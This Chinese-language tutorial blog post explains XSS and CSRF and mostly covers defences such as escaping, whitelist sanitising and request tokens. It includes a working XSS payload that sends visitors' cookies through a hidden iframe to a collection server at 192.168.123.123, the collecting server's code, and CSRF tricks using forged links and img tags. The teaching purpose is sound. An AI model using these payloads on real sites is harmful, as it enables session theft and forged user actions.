天天看點

csrf和xss攻擊

XSS:跨站腳本(Cross-site scripting)

CSRF:跨站請求僞造(Cross-site request forgery)

在那個年代,大家一般用拼接字元串的方式來構造動态SQL 語句建立應用,于是SQL 注入成了很流行的攻擊方式。在這個年代,參數化查詢已經成了普及用法,我們已經離SQL 注入很遠了。但是,曆史同樣悠久的XSS 和CSRF 卻沒有遠離我們。由于之前已經對XSS 很熟悉了,是以我對使用者輸入的資料一直非常小心。如果輸入的時候沒有經過Tidy 之類的過濾,我一定會在模闆輸出時候全部轉義。是以個人感覺,要避免XSS 也是很容易的,重點是要“小心”。但最近又聽說了另一種跨站攻擊CSRF ,于是找了些資料了解了一下,并與XSS 放在一起做個比較。

XSS:腳本中的不速之客

XSS 全稱“跨站腳本”,是注入攻擊的一種。其特點是不對伺服器端造成任何傷害,而是通過一些正常的站内互動途徑,例如釋出評論,送出含有JavaScript 的内容文本。這時伺服器端如果沒有過濾或轉義掉這些腳本,作為内容釋出到了頁面上,其他使用者通路這個頁面的時候就會運作這些腳本。

運作預期之外的腳本帶來的後果有很多中,可能隻是簡單的惡作劇——一個關不掉的視窗:

1 while (true) { 

2     alert("你關不掉我~"); 

3 }

也可以是盜号或者其他未授權的操作——我們來模拟一下這個過程,先建立一個用來收集資訊的伺服器:

view sourceprint?01 #!/usr/bin/env python 

02 #-*- coding:utf-8 -*- 

03   

04 """ 

05 跨站腳本注入的資訊收集伺服器 

06 """

07   

08 import bottle 

09   

10 app = bottle.Bottle() 

11 plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite') 

12 app.install(plugin) 

13   

14 @app.route('/myxss/') 

15 def show(cookies, db): 

16     try: 

17         db.execute('INSERT INTO "myxss" ("cookies") VALUES (?)', cookies) 

18     except: 

19         pass

20     return "" 

21   

22 if __name__ == "__main__": 

23     app.run()

然後在某一個頁面的評論中注入這段代碼

view sourceprint?01 // 用<script type="text/javascript"></script> 包起來放在評論中 

02   

03 (function(window, document) { 

04     // 構造洩露資訊用的URL 

05     var cookies = document.cookie; 

06     var xssURI = "http://192.168.123.123/myxss/" + window.encodeURI(cookies); 

07     // 建立隐藏iframe 用于通訊 

08     var hideFrame = document.createElement("iframe"); 

09     hideFrame.height = 0; 

10     hideFrame.width = 0; 

11     hideFrame.style.display = "none"; 

12     hideFrame.src = xssURI; 

13     // 開工 

14     document.body.appendChild(hideFrame); 

15 })(window, document);

于是每個通路到含有該評論的頁面的使用者都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求,是他們所看不到的。而這個請求,會把包含了他們的帳号和其他隐私的資訊發送到收集伺服器上。

我們知道AJAX 技術所使用的XMLHttpRequest 對象都被浏覽器做了限制,隻能通路目前域名下的URL,所謂不能“跨域”問題。這種做法的初衷也是防範XSS,多多少少都起了一些作用,但不是總是有用,正如上面的注入代碼,用iframe 也一樣可以達到相同的目的。甚至在願意的情況下,我還能用iframe 發起POST 請求。當然,現在一些浏覽器能夠很智能地分析出部分XSS 并予以攔截,例如新版的Firefox、Chrome 都能這麼做。但攔截不總是能成功,何況這個世界上還有大量根本不知道什麼是浏覽器的使用者在用着可怕的IE6。從原則上将,我們也不應該把事關安全性的責任推脫給浏覽器,是以防止XSS 的根本之道還是過濾使用者輸入。使用者輸入總是不可信任的,這點對于Web 開發者應該是常識。

正如上文所說,如果我們不需要使用者輸入HTML 而隻想讓他們輸入純文字,那麼把所有使用者輸入進行HTML 轉義輸出是個不錯的做法。似乎很多Web 開發架構、模版引擎的開發者也發現了這一點,Django 内置模版和Jinja2 模版總是預設轉義輸出變量的。如果沒有使用它們,我們自己也可以這麼做。PHP 可以用htmlspecialchars 函數,Python 可以導入cgi 子產品用其中的cgi.escape 函數。如果使用了某款模版引擎,那麼其必自帶了友善快捷的轉義方式。

真正麻煩的是,在一些場合我們要允許使用者輸入HTML,又要過濾其中的腳本。Tidy 等HTML 清理庫可以幫忙,但前提是我們小心地使用。僅僅粗暴地去掉script 标簽是沒有用的,任何一個合法HTML 标簽都可以添加onclick 一類的事件屬性來執行JavaScript。對于複雜的情況,我個人更傾向于使用簡單的方法處理,簡單的方法就是白名單重新整理。使用者輸入的HTML 可能擁有很複雜的結構,但我們并不将這些資料直接存入資料庫,而是使用HTML 解析庫周遊節點,擷取其中資料(之是以不使用XML 解析庫是因為HTML 要求有較強的容錯性)。然後根據使用者原有的标簽屬性,重新建構HTML 元素樹。建構的過程中,所有的标簽、屬性都隻從白名單中拿取。這樣可以確定萬無一失——如果使用者的某種複雜輸入不能為解析器所識别(前面說了HTML 不同于XML,要求有很強的容錯性),那麼它不會成為漏網之魚,因為白名單重新整理的政策會直接丢棄掉這些未能識别的部分。最後獲得的新HTML 元素樹,我們可以拍胸脯保證——所有的标簽、屬性都來自白名單,一定不會遺漏。

現在看來,大多數Web 開發者都了解XSS 并知道如何防範,往往大型的XSS 攻擊(包括前段時間新浪微網誌的XSS 注入)都是由于疏漏。我個人建議在使用模版引擎的Web 項目中,開啟(或不要關閉)類似Django Template、Jinja2 中“預設轉義”(Auto Escape)的功能。在不需要轉義的場合,我們可以用類似{{ myvar | raw }} 的方式取消轉義。這種白名單式的做法,有助于降低我們由于疏漏留下XSS漏洞的風險。

另外一個風險集中區域,是富AJAX 類應用(例如豆瓣網的阿爾法城)。這類應用的風險并不集中在HTTP 的靜态響應内容,是以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域,開發者不得不自己打開危險的大門。這種情況下,站點的安全非常依賴開發者的細心和應用上線前有效的測試。現在亦有不少開源的XSS 漏洞測試軟體包(似乎有篇文章提到豆瓣網的開發也使用自動化XSS 測試),但我都沒試用過,故不予評價。不管怎麼說,我認為從使用者輸入的地方把好關總是成本最低而又最有效的做法。

CSRF:冒充使用者之手

起初我一直弄不清楚CSRF 究竟和XSS 有什麼差別,後來才明白CSRF 和XSS 根本是兩個不同次元上的分類。XSS 是實作CSRF 的諸多途徑中的一條,但絕對不是唯一的一條。一般習慣上把通過XSS 來實作的CSRF 稱為XSRF。

CSRF 的全稱是“跨站請求僞造”,而XSS 的全稱是“跨站腳本”。看起來有點相似,它們都是屬于跨站攻擊——不攻擊伺服器端而攻擊正常通路網站的使用者,但前面說了,它們的攻擊類型是不同次元上的分類。CSRF 顧名思義,是僞造請求,冒充使用者在站内的正常操作。我們知道,絕大多數網站是通過cookie 等方式辨識使用者身份(包括使用伺服器端Session 的網站,因為Session ID 也是大多儲存在cookie 裡面的),再予以授權的。是以要僞造使用者的正常操作,最好的方法是通過XSS 或連結欺騙等途徑,讓使用者在本機(即擁有身份cookie 的浏覽器端)發起使用者所不知道的請求。

嚴格意義上來說,CSRF 不能分類為注入攻擊,因為CSRF 的實作途徑遠遠不止XSS 注入這一條。通過XSS 來實作CSRF 易如反掌,但對于設計不佳的網站,一條正常的連結都能造成CSRF。

例如,一論壇網站的發貼是通過GET 請求通路,點選發貼之後JS 把發貼内容拼接成目标URL 并通路:

http://www.2cto.com /bbs/create_post.php?title=标題&content=内容

那麼,我隻需要在論壇中發一帖,包含一連結

http://www.2cto.com /bbs/create_post.php?title=我是腦殘&content=哈哈

隻要有使用者點選了這個連結,那麼他們的帳戶就會在不知情的情況下釋出了這一文章。可能這隻是個惡作劇,但是既然發貼的請求可以僞造,那麼删帖、轉帳、改密碼、發郵件全都可以僞造。

如何解決這個問題,我們是否可以效仿上文應對XSS 的做法呢?過濾使用者輸入, 不允許釋出這種含有站内操作URL 的連結。這麼做可能會有點用,但阻擋不了CSRF,因為攻擊者可以通過QQ 或其他網站把這個連結釋出上去,為了僞裝可能還使用bit.ly 壓縮一下網址,這樣點選到這個連結的使用者還是一樣會中招。是以對待CSRF ,我們的視角需要和對待XSS 有所差別。CSRF 并不一定要有站内的輸入,因為它并不屬于注入攻擊,而是請求僞造。被僞造的請求可以是任何來源,而非一定是站内。是以我們唯有一條路可行,就是過濾請求的處理者。

比較頭痛的是,因為請求可以從任何一方發起,而發起請求的方式多種多樣,可以通過iframe、ajax(這個不能跨域,得先XSS)、Flash 内部發起請求(總是個大隐患)。由于幾乎沒有徹底杜絕CSRF 的方式,我們一般的做法,是以各種方式提高攻擊的門檻。

首先可以提高的一個門檻,就是改良站内API 的設計。對于釋出文章這一類建立資源的操作,應該隻接受POST 請求,而GET 請求應該隻浏覽而不改變伺服器端資源。當然,最理想的做法是使用REST 風格的API 設計,GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、建立、修改、删除。現在的浏覽器基本不支援在表單中使用PUT 和DELETE 請求方法,我們可以使用ajax 送出請求(例如通過jquery-form 插件,我最喜歡的做法),也可以使用隐藏域指定請求方法,然後用POST 模拟PUT 和DELETE (Ruby on Rails 的做法)。這麼一來,不同的資源操作區分的非常清楚,我們把問題域縮小到了非GET 類型的請求上——攻擊者已經不可能通過釋出連結來僞造請求了,但他們仍可以釋出表單,或者在其他站點上使用我們肉眼不可見的表單,在背景用js 操作,僞造請求。

接下來我們就可以用比較簡單也比較有效的方法來防禦CSRF,這個方法就是“請求令牌”。讀過《J2EE 核心模式》的同學應該對“同步令牌”應該不會陌生,“請求令牌”和“同步令牌”原理是一樣的,隻不過目的不同,後者是為了解決POST 請求重複送出問題,前者是為了保證收到的請求一定來自預期的頁面。實作方法非常簡單,首先伺服器端要以某種政策生成随機字元串,作為令牌(token),儲存在Session 裡。然後在送出請求的頁面,把該令牌以隐藏域一類的形式,與其他資訊一并發出。在接收請求的頁面,把接收到的資訊中的令牌與Session 中的令牌比較,隻有一緻的時候才處理請求,否則傳回HTTP 403 拒絕請求或者要求使用者重新登陸驗證身份。

請求令牌雖然使用起來簡單,但并非不可破解,使用不當會增加安全隐患。使用請求令牌來防止CSRF 有以下幾點要注意:

雖然請求令牌原理和驗證碼有相似之處,但不應該像驗證碼一樣,全局使用一個Session Key。因為請求令牌的方法在理論上是可破解的,破解方式是解析來源頁面的文本,擷取令牌内容。如果全局使用一個Session Key,那麼危險系數會上升。原則上來說,每個頁面的請求令牌都應該放在獨立的Session Key 中。我們在設計伺服器端的時候,可以稍加封裝,編寫一個令牌工具包,将頁面的辨別作為Session 中儲存令牌的鍵。

在ajax 技術應用較多的場合,因為很有請求是JavaScript 發起的,使用靜态的模版輸出令牌值或多或少有些不友善。但無論如何,請不要提供直接擷取令牌值的API。這麼做無疑是鎖上了大門,卻又把鑰匙放在門口,讓我們的請求令牌退化為同步令牌。

第一點說了請求令牌理論上是可破解的,是以非常重要的場合,應該考慮使用驗證碼(令牌的一種更新,目前來看破解難度極大),或者要求使用者再次輸入密碼(亞馬遜、淘寶的做法)。但這兩種方式使用者體驗都不好,是以需要産品開發者權衡。

無論是普通的請求令牌還是驗證碼,伺服器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個問題,驗證碼用完并未銷毀,故隻要擷取一次驗證碼圖檔,其中的驗證碼可以在多次請求中使用(隻要不再次重新整理驗證碼圖檔),一直用到Session 逾時。這也是為何選課系統加了驗證碼,外挂軟體更新一次之後仍然暢通無阻。

如下也列出一些據說能有效防範CSRF,其實效果甚微的方式甚至無效的做法。

通過referer 判定來源頁面:referer 是在HTTP Request Head 裡面的,也就是由請求的發送者決定的。如果我喜歡,可以給referer 任何值。當然這個做法并不是毫無作用,起碼可以防小白。但我覺得成本效益不如令牌。

過濾所有使用者釋出的連結:這個是最無效的做法,因為首先攻擊者不一定要從站内發起請求(上面提到過了),而且就算從站内發起請求,途徑也遠遠不知連結一條。比如<img src="./create_post.php" /> 就是個不錯的選擇,還不需要使用者去點選,隻要使用者的浏覽器會自動加載圖檔,就會自動發起請求。

在請求發起頁面用alert 彈窗提醒使用者:這個方法看上去能幹擾站外通過iframe 發起的CSRF,但攻擊者也可以考慮用window.alert = function(){}; 把alert 弄啞,或者幹脆脫離iframe,使用Flash 來達到目的。

總體來說,目前防禦CSRF 的諸多方法還沒幾個能徹底無解的。是以CSDN 上看到讨論CSRF 的文章,一般都會含有“無恥”二字來形容(另一位有該名号的貌似是DDOS 攻擊)。作為開發者,我們能做的就是盡量提高破解難度。當破解難度達到一定程度,網站就逼近于絕對安全的位置了(雖然不能到達)。上述請求令牌方法,就我認為是最有可擴充性的,因為其原理和CSRF 原理是相克的。CSRF 難以防禦之處就在于對伺服器端來說,僞造的請求和正常的請求本質上是一緻的。而請求令牌的方法,則是揪出這種請求上的唯一差別——來源頁面不同。我們還可以做進一步的工作,例如讓頁面中token 的key 動态化,進一步提高攻擊者的門檻。

漏洞的防禦和利用:

避免XSS的方法之一主要是将使用者所提供的内容進行過濾,許多語言都有提供對HTML的過濾:

PHP的htmlentities()或是htmlspecialchars()。
Python的cgi.escape()。
ASP的Server.HTMLEncode()。
ASP.NET的Server.HtmlEncode()或功能更強的Microsoft Anti-Cross Site Scripting Library
Java的xssprotect(Open Source Library)。
Node.js的node-validator。
           

使用HTTP頭指定類型:

很多時候可以使用HTTP頭指定内容的類型,使得輸出的内容避免被作為HTML解析。如在PHP語言中使用以下代碼: 

header
('Content-Type: text/javascript; charset=utf-8');
           

即可強行指定輸出内容為文本/JavaScript腳本(順便指定了内容編碼),而非可以引發攻擊的HTML。